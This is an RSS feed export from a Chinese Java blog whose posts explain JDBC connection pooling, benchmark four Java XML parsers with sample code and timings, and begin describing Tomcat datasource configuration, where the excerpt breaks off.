﻿<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:trackback="http://madskills.com/public/xml/rss/module/trackback/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/"><channel><title>语源科技BlogJava-frankboy</title><link>http://www.blogjava.net/frankboy/</link><description /><language>zh-cn</language><lastBuildDate>Sun, 12 Apr 2026 06:01:28 GMT</lastBuildDate><pubDate>Sun, 12 Apr 2026 06:01:28 GMT</pubDate><ttl>60</ttl><item><title>JDBC数据库连接池</title><link>http://www.blogjava.net/frankboy/archive/2006/08/28/66139.html</link><dc:creator>frankboy</dc:creator><author>frankboy</author><pubDate>Mon, 28 Aug 2006 03:48:00 GMT</pubDate><guid>http://www.blogjava.net/frankboy/archive/2006/08/28/66139.html</guid><wfw:comment>http://www.blogjava.net/frankboy/comments/66139.html</wfw:comment><comments>http://www.blogjava.net/frankboy/archive/2006/08/28/66139.html#Feedback</comments><slash:comments>1</slash:comments><wfw:commentRss>http://www.blogjava.net/frankboy/comments/commentRss/66139.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/frankboy/services/trackbacks/66139.html</trackback:ping><description><![CDATA[Java应用程序访问<a href="http://www.knowsky.com/sql.asp">数据库</a>的基本原理
<p>　　在Java语言中，JDBC（Java DataBase Connection）是应用程序与数据库沟通的桥梁,</p><p>　　即Java语言通过JDBC技术访问数据库。JDBC是一种“开放”的方案，它为数据库应用开发人员﹑数据库前台工具开发人员提供了一种标准的应用程序设计接口，使开发人员可以用纯Java语言编写完整的数据库应用程序。JDBC提供两种API，分别是面向开发人员的API和面向底层的JDBC驱动程序API，底层主要通过直接的JDBC驱动和JDBC-ODBC桥驱动实现与数据库的连接。</p><p>　　一般来说，Java应用程序访问数据库的过程（如图1所示）是：</p><p>　　①装载数据库驱动程序；</p><p>　　②通过JDBC建立数据库连接；</p><p>　　③访问数据库，执行SQL语句；</p><p>　　④断开数据库连接。</p><div align="center"><img src="http://www.ncie.gov.cn/news/UploadFiles_9664/200607/20060730135548147.gif" border="0" /><br />图1 Java数据库访问机制</div><div align="left">　　JDBC作为一种数据库访问技术，具有简单易用的优点。但使用这种模式进行Web应用</div><div align="left">　　程序开发，存在很多问题：首先，每一次Web请求都要建立一次数据库连接。建立连接是一个费时的活动，每次都得花费0.05s～1s的时间，而且系统还要分配内存资源。这个时间对于一次或几次数据库操作，或许感觉不出系统有多大的开销。可是对于现在的Web应用，尤其是大型电子商务网站，同时有几百人甚至几千人在线是很正常的事。在这种情况下，频繁的进行数据库连接操作势必占用很多的系统资源，网站的响应速度必定下降，严重的甚至会造成服务器的崩溃。不是危言耸听，这就是制约某些电子商务网站发展的技术瓶颈问题。其次，对于每一次数据库连接，使用完后都得断开。否则，如果程序出现异常而未能关闭，将会导致数据库系统中的内存泄漏，最终将不得不重启数据库。还有，这种开发不能控制被创建的连接对象数，系统资源会被毫无顾及的分配出去，如连接过多，也可能导致内存泄漏，服务器崩溃。</div><div align="left"> </div><div align="left">　　数据库连接池（connection pool）的工作原理</div><div align="left">　　1、基本概念及原理</div><div align="left">　　由上面的分析可以看出，问题的根源就在于对数据库连接资源的低效管理。我们知道，</div><div align="left">　　对于共享资源，有一个很著名的设计模式：资源池（Resource Pool）。该模式正是为了解决资源的频繁分配﹑释放所造成的问题。为解决上述问题，可以采用数据库连接池技术。数据库连接池的基本思想就是为数据库连接建立一个“缓冲池”。预先在缓冲池中放入一定数量的连接，当需要建立数据库连接时，只需从“缓冲池”中取出一个，使用完毕之后再放回去。我们可以通过设定连接池最大连接数来防止系统无尽的与数据库连接。更为重要的是我们可以通过连接池的管理机制监视数据库的连接的数量﹑使用情况，为系统开发﹑测试及性能调整提供依据。连接池的基本工作原理见下图2。</div><div align="center"><img src="http://www.ncie.gov.cn/news/UploadFiles_9664/200607/20060730135548186.gif" border="0" /><br />图2 连接池的基本工作原理</div><div align="left">　　2、服务器自带的连接池</div><div align="left">　　JDBC的API中没有提供连接池的方法。一些大型的WEB应用服务器如BEA的WebLogic和IBM的WebSphere等提供了连接池的机制，但是必须有其第三方的专用类方法支持连接池的用法。</div><div align="left">　　连接池关键问题分析</div><div align="left">　　1、并发问题</div><div align="left">　　为了使连接管理服务具有最大的通用性，必须考虑多线程环境，即并发问题。这个问题相对比较好解决，因为Java语言自身提供了对并发管理的支持，使用synchronized关键字即可确保线程是同步的。使用方法为直接在类方法前面加上synchronized关键字，如：</div><div align="left">public synchronized Connection getConnection（） </div><div align="left">　　2、多数据库服务器和多用户</div><div align="left">　　对于大型的企业级应用，常常需要同时连接不同的数据库（如连接Oracle和Sybase）。如何连接不同的数据库呢？我们采用的策略是：设计一个符合单例模式的连接池管理类，在连接池管理类的唯一实例被创建时读取一个资源文件，其中资源文件中存放着多个数据库的url地址（&lt;poolName.url&gt;）﹑用户名（&lt;poolName.user&gt;）﹑密码（&lt;poolName.password&gt;）等信息。如tx.url=172.21.15.123：5000/tx_it，tx.user=yang，tx.password=yang321。根据资源文件提供的信息，创建多个连接池类的实例，每一个实例都是一个特定数据库的连接池。连接池管理类实例为每个连接池实例取一个名字，通过不同的名字来管理不同的连接池。</div><div align="left">　　对于同一个数据库有多个用户使用不同的名称和密码访问的情况，也可以通过资源文件处理，即在资源文件中设置多个具有相同url地址，但具有不同用户名和密码的数据库连接信息。</div><div align="left">　　3、事务处理</div><div align="left">　　我们知道，事务具有原子性，此时要求对数据库的操作符合“ALL-ALL-NOTHING”原则,即对于一组SQL语句要么全做，要么全不做。</div><div align="left">　　在Java语言中，Connection类本身提供了对事务的支持，可以通过设置Connection的AutoCommit属性为false,然后显式的调用commit或rollback方法来实现。但要高效的进行Connection复用，就必须提供相应的事务支持机制。可采用每一个事务独占一个连接来实现，这种方法可以大大降低事务管理的复杂性。</div><div align="left">　　4、连接池的分配与释放</div><div align="left">　　连接池的分配与释放，对系统的性能有很大的影响。合理的分配与释放，可以提高连接的复用度，从而降低建立新连接的开销，同时还可以加快用户的访问速度。</div><div align="left">　　对于连接的管理可使用空闲池。即把已经创建但尚未分配出去的连接按创建时间存放到一个空闲池中。每当用户请求一个连接时，系统首先检查空闲池内有没有空闲连接。如果有就把建立时间最长（通过容器的顺序存放实现）的那个连接分配给他（实际是先做连接是否有效的判断，如果可用就分配给用户，如不可用就把这个连接从空闲池删掉，重新检测空闲池是否还有连接）；如果没有则检查当前所开连接池是否达到连接池所允许的最大连接数（maxConn）,如果没有达到，就新建一个连接，如果已经达到，就等待一定的时间（timeout）。如果在等待的时间内有连接被释放出来就可以把这个连接分配给等待的用户，如果等待时间超过预定时间timeout,则返回空值（null）。系统对已经分配出去正在使用的连接只做计数，当使用完后再返还给空闲池。对于空闲连接的状态，可开辟专门的线程定时检测，这样会花费一定的系统开销，但可以保证较快的响应速度。也可采取不开辟专门线程，只是在分配前检测的方法。</div><div align="left">　　5、连接池的配置与维护</div><div align="left">　　连接池中到底应该放置多少连接，才能使系统的性能最佳？系统可采取设置最小连接数（minConn）和最大连接数（maxConn）来控制连接池中的连接。最小连接数是系统启动时连接池所创建的连接数。如果创建过多，则系统启动就慢，但创建后系统的响应速度会很快；如果创建过少，则系统启动的很快，响应起来却慢。这样，可以在开发时，设置较小的最小连接数，开发起来会快，而在系统实际使用时设置较大的，因为这样对访问客户来说速度会快些。最大连接数是连接池中允许连接的最大数目，具体设置多少，要看系统的访问量，可通过反复测试，找到最佳点。</div><div align="left">　　如何确保连接池中的最小连接数呢？有动态和静态两种策略。动态即每隔一定时间就对连接池进行检测，如果发现连接数量小于最小连接数，则补充相应数量的新连接,以保证连接池的正常运转。静态是发现空闲连接不够时再去检查。</div><div align="left"> </div><div align="left">　　连接池的实现</div><div align="left">　　1、连接池模型</div><div align="left">　　本文讨论的连接池包括一个连接池类（DBConnectionPool）和一个连接池管理类（DBConnetionPoolManager）。连接池类是对某一数据库所有连接的“缓冲池”，主要实现以下功能：①从连接池获取或创建可用连接；②使用完毕之后，把连接返还给连接池；③在系统关闭前，断开所有连接并释放连接占用的系统资源；④还能够处理无效连接（原来登记为可用的连接，由于某种原因不再可用，如超时，通讯问题），并能够限制连接池中的连接总数不低于某个预定值和不超过某个预定值。</div><div align="left">　　连接池管理类是连接池类的外覆类（wrapper）,符合单例模式，即系统中只能有一个连接池管理类的实例。其主要用于对多个连接池对象的管理，具有以下功能：①装载并注册特定数据库的JDBC驱动程序；②根据属性文件给定的信息，创建连接池对象；③为方便管理多个连接池对象，为每一个连接池对象取一个名字，实现连接池名字与其实例之间的映射；④跟踪客户使用连接情况，以便需要是关闭连接释放资源。连接池管理类的引入主要是为了方便对多个连接池的使用和管理，如系统需要连接不同的数据库，或连接相同的数据库但由于安全性问题，需要不同的用户使用不同的名称和密码。</div><div align="left">　　2、连接池实现</div><div align="left">　　下面给出连接池类和连接池管理类的主要属性<br />及所要实现的基本接口： 
<div></div><div align="left">public class DBConnectionPool implements TimerListener{<br />private int checkedOut;//已被分配出去的连接数<br />private ArrayList freeConnections = new ArrayList();//容器，空闲池，根据//创建时间顺序存放已创建但尚未分配出去的连接<br />private int minConn;//连接池里连接的最小数量<br />private int maxConn;//连接池里允许存在的最大连接数<br />private String name;//为这个连接池取个名字，方便管理<br />private String password;//连接数据库时需要的密码<br />private String url;//所要创建连接的数据库的地址<br />private String user;//连接数据库时需要的用户名<br />public Timer timer;//定时器<br />public DBConnectionPool(String name, String URL, String user, String <br />password, int maxConn)//公开的构造函数<br />public synchronized void freeConnection(Connection con) //使用完毕之后，//把连接返还给空闲池<br />public synchronized Connection getConnection(long timeout)//得到一个连接，//timeout是等待时间<br />public synchronized void release()//断开所有连接，释放占用的系统资源<br />private Connection newConnection()//新建一个数据库连接<br />public synchronized void TimerEvent() //定时器事件处理函数</div><div align="left">}</div><div align="left">public class DBConnectionManager {<br />static private DBConnectionManager instance;//连接池管理类的唯一实例<br />static private int clients;//客户数量<br />private ArrayList drivers = new ArrayList();//容器，存放数据库驱动程序</div><div align="left">private HashMap pools = new HashMap ();//以name/value的形式存取连接池//对象的名字及连接池对象<br />static synchronized public DBConnectionManager getInstance()//如果唯一的//实例instance已经创建，直接返回这个实例;否则，调用私有构造函数，创//建连接池管理类的唯一实例 </div><div align="left">private DBConnectionManager()//私有构造函数,在其中调用初始化函数init()</div><div align="left">public void freeConnection(String name, Connection con)// 释放一个连接，//name是一个连接池对象的名字</div><div align="left">public Connection getConnection(String name)//从名字为name的连接池对象//中得到一个连接</div><div align="left">public Connection getConnection(String name, long time)//从名字为name</div><div align="left">//的连接池对象中取得一个连接，time是等待时间</div><div align="left">public synchronized void release()//释放所有资源</div><div align="left">private void createPools(Properties props)//根据属性文件提供的信息，创建//一个或多个连接池</div><div align="left">private void init()//初始化连接池管理类的唯一实例，由私有构造函数调用</div><div align="left">private void loadDrivers(Properties props)//装载数据库驱动程序</div><div align="left">}  </div><div align="left">　　3、连接池使用</div><div align="left">　　上面所实现的连接池在程序开发时如何应用到系统中呢？下面以Servlet为例说明连接池的使用。</div><div align="left">　　Servlet的生命周期是：在开始建立servlet时，调用其初始化（init）方法。之后每个用户请求都导致一个调用前面建立的实例的service方法的线程。最后，当服务器决定卸载一个servlet时，它首先调用该servlet的 destroy方法。</div><div align="left">　　根据servlet的特点，我们可以在初始化函数中生成连接池管理类的唯一实例（其中包括创建一个或多个连接池）。如：</div><div align="left">public void init() throws ServletException<br />{<br />　connMgr = DBConnectionManager.getInstance(); <br />}  </div><div align="left">　　然后就可以在service方法中通过连接池名称使用连接池，执行数据库操作。最后在destroy方法中释放占用的系统资源，如： </div><div align="left">public void destroy() { <br />　connMgr.release(); super.destroy(); <br />} </div><div align="left">　　结束语</div><div align="left">　　在使用JDBC进行与数据库有关的应用开发中，数据库连接的管理是一个难点。很多时候，连接的混乱管理所造成的系统资源开销过大成为制约大型企业级应用效率的瓶颈。对于众多用户访问的Web应用，采用数据库连接技术的系统在效率和稳定性上比采用传统的其他方式的系统要好很多。本文阐述了使用JDBC访问数据库的技术﹑讨论了基于连接池技术的数据库连接管理的关键问题并给出了一个实现模型。文章所给出的是连接池管理程序的一种基本模式，为提高系统的整体性能，在此基础上还可以进行很多有意义的扩展。</div>/DIV&gt;</div><img src ="http://www.blogjava.net/frankboy/aggbug/66139.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/frankboy/" target="_blank">frankboy</a> 2006-08-28 11:48 <a href="http://www.blogjava.net/frankboy/archive/2006/08/28/66139.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>XML解析技术分析（转载）</title><link>http://www.blogjava.net/frankboy/archive/2006/08/20/64601.html</link><dc:creator>frankboy</dc:creator><author>frankboy</author><pubDate>Sun, 20 Aug 2006 04:34:00 GMT</pubDate><guid>http://www.blogjava.net/frankboy/archive/2006/08/20/64601.html</guid><wfw:comment>http://www.blogjava.net/frankboy/comments/64601.html</wfw:comment><comments>http://www.blogjava.net/frankboy/archive/2006/08/20/64601.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/frankboy/comments/commentRss/64601.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/frankboy/services/trackbacks/64601.html</trackback:ping><description><![CDATA[
		<table cellspacing="0" cellpadding="2" width="95%" align="center" bgcolor="#009ace" border="0">
				<tbody>
						<tr>
								<td class="TdBorderRB">
										<div align="center">
												<strong>Java中四种XML解析技术之不完全测试</strong>
										</div>
								</td>
						</tr>
				</tbody>
		</table>
		<table cellspacing="0" cellpadding="0" width="95%" align="center" border="0">
				<tbody>
						<tr>
								<td height="30">
										<div align="center">作者：未知 来源：未知 加入时间：2004-11-1　天新软件园</div>
								</td>
						</tr>
						<tr>
								<td valign="top">在平时工作中，难免会遇到把 XML 作为数据存储格式。面对目前种类繁多的解决方案，哪个最适合我们呢？在这篇文章中，我对这四种主流方案做一个不完全评测，仅仅针对遍历 XML 这块来测试，因为遍历 XML 是工作中使用最多的（至少我认为）。 <br /><br />　　预 备<br /><br />　　测试环境：<br /><br />　　AMD 毒龙1.4G OC 1.5G、256M DDR333、Windows2000 Server SP4、Sun JDK 1.4.1+Eclipse 2.1+Resin 2.1.8，在 Debug 模式下测试。<br /><br />　　XML 文件格式如下：<br /><br />＜?xml version="1.0" encoding="GB2312"?＞<br />＜RESULT＞<br />　＜VALUE＞<br />　　＜NO＞A1234＜/NO＞<br />　　＜ADDR＞四川省XX县XX镇XX路X段XX号＜/ADDR＞<br />　＜/VALUE＞<br />　＜VALUE＞<br />　　＜NO＞B1234＜/NO＞<br />　　＜ADDR＞四川省XX市XX乡XX村XX组＜/ADDR＞<br />　＜/VALUE＞<br />＜/RESULT＞ <br /><br />　　测试方法：<br /><br />　　采用 JSP 端调用Bean（至于为什么采用JSP来调用，请参考：http://blog.csdn.net/rosen/archive/2004/10/15/138324.aspx），让每一种方案分别解析10K、100K、1000K、10000K的 XML 文件，计算其消耗时间（单位:毫秒）。<br /><br />　　JSP 文件：<br /><br />＜%@ page contentType="text/html; charset=gb2312" %＞<br />＜%@ page import="com.test.*"%＞<br /><br />＜html＞<br />＜body＞<br />＜%<br />String args[]={""};<br />MyXMLReader.main(args);<br />%＞<br />＜/body＞<br />＜/html＞ <br /><br />　　测 试<br /><br />　　首先出场的是 DOM（JAXP Crimson 解析器） <br /><br />　　DOM 是用与平台和语言无关的方式表示 XML 文档的官方 W3C 标准。DOM 是以层次结构组织的节点或信息片断的集合。这个层次结构允许开发人员在树中寻找特定信息。分析该结构通常需要加载整个文档和构造层次结构，然后才能做任何工作。由于它是基于信息层次的，因而 DOM 被认为是基于树或基于对象的。DOM 以及广义的基于树的处理具有几个优点。首先，由于树在内存中是持久的，因此可以修改它以便应用程序能对数据和结构作出更改。它还可以在任何时候在树中上下导航，而不是像 SAX 那样是一次性的处理。DOM 使用起来也要简单得多。<br /><br />　　另一方面，对于特别大的文档，解析和加载整个文档可能很慢且很耗资源，因此使用其他手段来处理这样的数据会更好。这些基于事件的模型，比如 SAX。<br /><br />　　Bean文件：<br /><br />package com.test;<br /><br />import java.io.*;<br />import java.util.*;<br />import org.w3c.dom.*;<br />import javax.xml.parsers.*;<br /><br />public class MyXMLReader{<br /><br />　public static void main(String arge[]){<br />　　long lasting =System.currentTimeMillis();<br />　　try{ <br />　　　File f=new File("data_10k.xml");<br />　　　DocumentBuilderFactory factory=DocumentBuilderFactory.newInstance();<br />　　　DocumentBuilder builder=factory.newDocumentBuilder();<br />　　　Document doc = builder.parse(f);<br />　　　NodeList nl = doc.getElementsByTagName("VALUE");<br />　　　for (int i=0;i＜nl.getLength();i++){<br />　　　　System.out.print("车牌号码:" + doc.getElementsByTagName("NO").item(i).getFirstChild().getNodeValue());<br />　　　　System.out.println(" 车主地址:" + doc.getElementsByTagName("ADDR").item(i).getFirstChild().getNodeValue());<br />　　}<br />　　}catch(Exception e){<br />　　　e.printStackTrace();<br />　　}<br />　　System.out.println("运行时间："+(System.currentTimeMillis() - lasting)+" 毫秒");<br />　}<br />} <br /><br />　　10k消耗时间：265 203 219 172<br />　　100k消耗时间：9172 9016 8891 9000<br />　　1000k消耗时间：691719 675407 708375 739656<br />　　10000k消耗时间：OutOfMemoryError<br /><br />　　接着是 SAX<br /><br />　　这种处理的优点非常类似于流媒体的优点。分析能够立即开始，而不是等待所有的数据被处理。而且，由于应用程序只是在读取数据时检查数据，因此不需要将数据存储在内存中。这对于大型文档来说是个巨大的优点。事实上，应用程序甚至不必解析整个文档；它可以在某个条件得到满足时停止解析。一般来说，SAX 还比它的替代者 DOM 快许多。<br /><br />选择 DOM 还是选择 SAX ？<br /><br />　　对于需要自己编写代码来处理 XML 文档的开发人员来说，  <br /><br /><br />   <br /><br /><br />选择 DOM 还是 SAX 解析模型是一个非常重要的设计决策。 <br /><br />　　DOM 采用建立树形结构的方式访问 XML 文档，而 SAX 采用的事件模型。 <br /><br />　　DOM 解析器把 XML 文档转化为一个包含其内容的树，并可以对树进行遍历。用 DOM 解析模型的优点是编程容易，开发人员只需要调用建树的指令，然后利用navigation APIs访问所需的树节点来完成任务。可以很容易的添加和修改树中的元素。然而由于使用 DOM 解析器的时候需要处理整个 XML 文档，所以对性能和内存的要求比较高，尤其是遇到很大的 XML 文件的时候。由于它的遍历能力，DOM 解析器常用于 XML 文档需要频繁的改变的服务中。 <br /><br />　　SAX 解析器采用了基于事件的模型，它在解析 XML 文档的时候可以触发一系列的事件，当发现给定的tag的时候，它可以激活一个回调方法，告诉该方法制定的标签已经找到。SAX 对内存的要求通常会比较低，因为它让开发人员自己来决定所要处理的tag。特别是当开发人员只需要处理文档中所包含的部分数据时，SAX 这种扩展能力得到了更好的体现。但用 SAX 解析器的时候编码工作会比较困难，而且很难同时访问同一个文档中的多处不同数据。 <br /><br />　　Bean文件：<br /><br /><br /><br />package com.test;<br />import org.xml.sax.*;<br />import org.xml.sax.helpers.*;<br />import javax.xml.parsers.*;<br /><br />public class MyXMLReader extends DefaultHandler {<br /><br />　java.util.Stack tags = new java.util.Stack();<br /><br />　public MyXMLReader() {<br />　　super();<br />　}<br /><br />　public static void main(String args[]) {<br />　　long lasting = System.currentTimeMillis();<br />　　try {<br />　　　SAXParserFactory sf = SAXParserFactory.newInstance();<br />　　　SAXParser sp = sf.newSAXParser();<br />　　　MyXMLReader reader = new MyXMLReader();<br />　　　sp.parse(new InputSource("data_10k.xml"), reader);<br />　　} catch (Exception e) {<br />　　　e.printStackTrace();<br />　　}<br />　　System.out.println("运行时间：" + (System.currentTimeMillis() - lasting) + " 毫秒");<br />　}<br /><br />　public void characters(char ch[], int start, int length) throws SAXException {<br />　　String tag = (String) tags.peek();<br />　　if (tag.equals("NO")) { <br />　　　System.out.print("车牌号码：" + new String(ch, start, length));<br />　}<br />　if (tag.equals("ADDR")) {<br />　　System.out.println(" 地址:" + new String(ch, start, length));<br />　}<br />}<br /><br />public void startElement(<br />　String uri,<br />　String localName,<br />　String qName,<br />　Attributes attrs) {<br />　　tags.push(qName);<br />　}<br />} <br /><br /><br /><br />　　10k消耗时间：110 47 109 78<br />　　100k消耗时间：344 406 375 422<br />　　1000k消耗时间：3234 3281 3688 3312<br />　　10000k消耗时间：32578 34313 31797 31890 30328<br /><br />　　然后是 JDOM http://www.jdom.org/<br /><br />　　JDOM 的目的是成为 Java 特定文档模型，它简化与 XML 的交互并且比使用 DOM 实现更快。由于是第一个 Java 特定模型，JDOM 一直得到大力推广和促进。正在考虑通过“Java 规范请求 JSR-102”将它最终用作“Java 标准扩展”。从 2000 年初就已经开始了 JDOM 开发。<br /><br />　　JDOM 与 DOM 主要有两方面不同。首先，JDOM 仅使用具体类而不使用接口。这在某些方面简化了 API，但是也限制了灵活性。第二，API 大量使用了 Collections 类，简化了那些已经熟悉这些类的 Java 开发者的使用。<br /><br />　　JDOM 文档声明其目的是“使用 20%（或更少）的精力解决 80%（或更多）Java/XML 问题”（根据学习曲线假定为 20%）。JDOM 对于大多数 Java/XML 应用程序来说当然是有用的，并且大多数开发者发现 API 比 DOM 容易理解得多。JDOM 还包括对程序行为的相当广泛检查以防止用户做任何在 XML 中无意义的事。然而，它仍需要您充分理解 XML 以便做一些超出基本的工作（或者甚至理解某些情况下的错误）。这也许是比学习 DOM 或 JDOM 接口都更有意义的工作。<br /><br />　　JDOM 自身不包含解析器。它通常使用 SAX2 解析器来解析和验证输入 XML 文档（尽管它还可以将以前构造的 DOM 表示作为输入）。它包含一些转换器以将 JDOM 表示输出成 SAX2 事件流、DOM 模型或 XML 文本文档。JDOM 是在 Apache 许可证变体下发布的开放源码。<br /><br />　　Bean文件：<br /><br /><br /><br />package com.test;<br /><br />import java.io.*;<br />import java.util.*;<br />import org.jdom.*;<br />import org.jdom.input.*;<br /><br />public class MyXMLReader {<br /><br />　public static void main(String arge[]) {<br />　　long lasting = System.currentTimeMillis();<br />　　try {<br />　　　SAXBuilder builder = new SAXBuilder(); <br />　　　Document doc = builder.build(new File("data_10k.xml")); <br />　　　Element foo = doc.getRootElement(); <br />　　　List allChildren = foo.getChildren(); <br />　　　for(int i=0;i＜allChildren.size();i++) { <br />　　　　System.out.print("车牌号码:" + ((Element)allChildren.get(i)).getChild("NO").getText());<br />　　　　System.out.println(" 车主地址:" + ((Element)allChildren.get(i)).getChild("ADDR").getText());<br />　　　}<br />　　} catch (Exception e) {<br />　　　e.printStackTrace();<br />　　}<br />　　System.out.println("运行时间：" + (System.currentTimeMillis() - lasting) + " 毫秒");<br />　}<br />} <br /><br /><br /><br />　　10k消耗时间：125 62 187 94<br />　　100k消耗时间：704 625 640 766<br />　　1000k消耗时间：27984 30750 27859 30656<br />　　10000k消耗时间：OutOfMemoryError<br /><br />　　最后是 DOM4J http://dom4j.sourceforge.net/<br /><br />　　虽然 DOM4J 代表了完全独立的开发结果，但最初，它是 JDOM 的一种智能分支。它合并了许多超出基本 XML 文档表示的功能，包括集成的 XPath 支持、XML Schema 支持以及用于大文档或流化文档的基于事件的处理。它还提供了构建文档表示的选项，它通过 DOM4J API 和标准 DOM 接口具有并行访问功能。从 2000 下半年开始，它就一直处于开发之中。<br /><br />　　为支持所有这些功能，DOM4J 使用接口和抽象基本类方法。DOM4J 大量使用了 API 中的 Collections 类，但是在许多情况下，它还提供一些替代方法以允许更好的性能或更直接的编码方法。直接好处是，虽然 DOM4J 付出了更复杂的 API 的代价，但是它提供了比 JDOM 大得多的灵活性。<br /><br />　　在添加灵活性、XPath 集成和对大文档处理的目标时，DOM4J 的目标与 JDOM 是一样的：针对 Java 开发者的易用性和直观操作。它还致力于成为比 JDOM 更完整的解决方案，实现在本质上处理所有 Java/XML 问题的目标。在完成该目标时，它比 JDOM 更少强调防止不正确的应用程序行为。<br /><br />　　DOM4J 是一个非常非常优秀的Java XML API，具有性能优异、功能强大和极端易用使用的特点，同时它也是一个开放源代码的软件。如今你可以看到越来越多的 Java 软件都在使用 DOM4J 来读写 XML，特别值得一提的是连 Sun 的 JAXM 也在用 DOM4J。<br /><br />　　Bean文件：<br /><br /><br /><br />package com.test;<br /><br />import java.io.*;<br />import java.util.*;<br />import org.dom4j.*;<br />import org.dom4j.io.*;<br /><br />public class MyXMLReader {<br /><br />　public static void main(String arge[]) {<br />　　long lasting = System.currentTimeMillis();<br />　　try {<br />　　　File f = new File("data_10k.xml");<br />　　　SAXReader reader = new SAXReader();<br />　　　Document doc = reader.read(f);<br />　　　Element root = doc.getRootElement();<br />　　　Element foo;<br />　　　for (Iterator i = root.elementIterator("VALUE"); i.hasNext();) {<br />　　　　foo = (Element) i.next();<br />　　　　System.out.print("车牌号码:" + foo.elementText("NO"));<br />　　　　System.out.println(" 车主地址:" + foo.elementText("ADDR"));<br />　　　}<br />　　} catch (Exception e) {<br />　　　e.printStackTrace();<br />　　}<br />　　System.out.println("运行时间：" + (System.currentTimeMillis() - lasting) + " 毫秒");<br />　}<br />} <br /><br /><br /><br />　　10k消耗时间：109 78 109 31<br />　　100k消耗时间：297 359 172 312<br />　　1000k消耗时间：2281 2359 2344 2469<br />　　10000k消耗时间：20938 19922 20031 21078<br /><br />　　JDOM 和 DOM 在性能测试时表现不佳，在测试 10M 文档时内存溢出。在小文档情况下还值得考虑使用 DOM 和 JDOM。虽然 JDOM 的开发者已经说明他们期望在正式发行版前专注性能问题，但是从性能观点来看，它确实没有值得推荐之处。另外，DOM 仍是一个非常好的选择。DOM 实现广泛应用于多种编程语言。它还是许多其它与 XML 相关的标准的基础，因为它正式获得 W3C 推荐（与基于非标准的 Java 模型相对），所以在某些类型的项目中可能也需要它（如在 JavaScript 中使用 DOM）。<br /><br />　　SAX表现较好，这要依赖于它特定的解析方式。一个 SAX 检测即将到来的XML流，但并没有载入到内存（当然当XML流被读入时，会有部分文档暂时隐藏在内存中）。<br /><br />　　无疑，DOM4J是这场测试的获胜者，目前许多开源项目中大量采用 DOM4J，例如大名鼎鼎的 Hibernate 也用 DOM4J 来读取 XML 配置文件。如果不考虑可移植性，那就采用DOM4J吧！</td>
						</tr>
				</tbody>
		</table>
<img src ="http://www.blogjava.net/frankboy/aggbug/64601.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/frankboy/" target="_blank">frankboy</a> 2006-08-20 12:34 <a href="http://www.blogjava.net/frankboy/archive/2006/08/20/64601.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>TOMCAT中数据库连接池的配置</title><link>http://www.blogjava.net/frankboy/archive/2006/01/12/27750.html</link><dc:creator>frankboy</dc:creator><author>frankboy</author><pubDate>Thu, 12 Jan 2006 06:20:00 GMT</pubDate><guid>http://www.blogjava.net/frankboy/archive/2006/01/12/27750.html</guid><wfw:comment>http://www.blogjava.net/frankboy/comments/27750.html</wfw:comment><comments>http://www.blogjava.net/frankboy/archive/2006/01/12/27750.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/frankboy/comments/commentRss/27750.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/frankboy/services/trackbacks/27750.html</trackback:ping><description><![CDATA[1．将数据库驱动程序的JAR文件放在Tomcat的&nbsp;common/lib&nbsp;中；<BR>2．在server.xml中设置数据源，以MySQL数据库为例，如下：<BR>在&lt;GlobalNamingResources&gt;&nbsp;&lt;/GlobalNamingResources&gt;节点中加入，<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;Resource<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;name="jdbc/DBPool"<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;type="javax.sql.DataSource"<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;password="root"<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;driverClassName="com.mysql.jdbc.Driver"<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;maxIdle="2"<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;maxWait="5000"<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;username="root"<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;url="jdbc:mysql://127.0.0.1:3306/test"<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;maxActive="4"/&gt;<BR>&nbsp;&nbsp;&nbsp;属性说明：name，数据源名称，通常取”jdbc/XXX”的格式；<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;type，”javax.sql.DataSource”;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;password，数据库用户密码；<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;driveClassName，数据库驱动；<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;maxIdle，最大空闲数，数据库连接的最大空闲时间。超过空闲时间，数据库连<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;接将被标记为不可用，然后被释放。设为0表示无限制。<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;MaxActive，连接池的最大